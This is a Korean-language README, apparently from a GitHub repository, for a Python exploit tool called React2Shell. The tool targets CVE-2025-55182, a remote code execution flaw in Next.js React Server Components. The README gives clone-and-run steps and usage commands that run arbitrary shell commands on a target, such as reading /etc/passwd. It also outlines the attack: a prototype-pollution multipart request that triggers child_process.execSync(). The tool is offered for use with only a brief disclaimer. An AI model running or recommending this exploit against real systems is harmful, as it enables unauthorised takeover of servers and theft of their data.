React2Shell 익스플로잇 (CVE-2025-55182)

HTTP/HTTPS를 지원하는 Next.js React Server Components RCE 취약점을 위한 Python 익스플로잇.

🚀 빠른 시작

# Clone & run
git clone https://github.com/BrianLopezM99/react2shell-CVE-2025-55182.git
cd react2shell-CVE-2025-55182
python3 exploit_react2shell.py <URL> "<command>"

📖 사용법

# HTTP
python3 exploit_react2shell.py http://target.com:3000 "id"
python3 exploit_react2shell.py 192.168.1.100:8080 "ls -la"

# HTTPS
python3 exploit_react2shell.py https://target.com "whoami"
python3 exploit_react2shell.py https://target.com:8443 "cat /etc/passwd"

✨ 기능

✅ HTTP 및 HTTPS 지원
✅ 스마트 URL 구문 분석 (자동 프로토콜 감지)
✅ 향상된 UX를 위한 애니메이션 로더
✅ 원시 소켓 구현 (종속성 없음)
✅ 자동 출력 추출
✅ 보안 연결을 위한 SSL/TLS 지원

⚠️ 법적 고지

승인된 보안 테스트 전용입니다.
소유한 시스템이나 테스트에 대한 명시적 허가를 받은 시스템에서만 사용하십시오. 불법 활동에 절대 사용하지 마십시오.

📋 요구 사항

Python 3.6+
외부 종속성 없음

🔧 작동 방식

대상 URL 구문 분석 (http://, https:// 또는 스키마 없음 지원)
원시 소켓 연결 설정 (HTTPS의 경우 SSL 사용)
프로토타입 오염 페이로드가 포함된 조작된 multipart/form-data 요청 전송
child_process.execSync()를 통해 RCE 트리거
서버 응답에서 명령 출력 추출

🐛 문제 해결

연결 거부: 서버가 실행 중인지 확인
SSL 오류: 대상에 인증서 문제가 있을 수 있음
시간 초과: 서버가 느릴 수 있음 - 시간 초과 증가
숫자 출력: 명령 출력이 잘릴 수 있음

📄 라이선스

MIT 라이선스 - LICENSE 파일 참조

면책 조항: 교육 목적으로만 사용하십시오. 항상 적절한 승인을 받으십시오.

마지막 업데이트: 2025년 2월 8일
버전: 2.0.0 유지 관리자: BrianLopezM99

react2shell-CVE-2025-55182

인기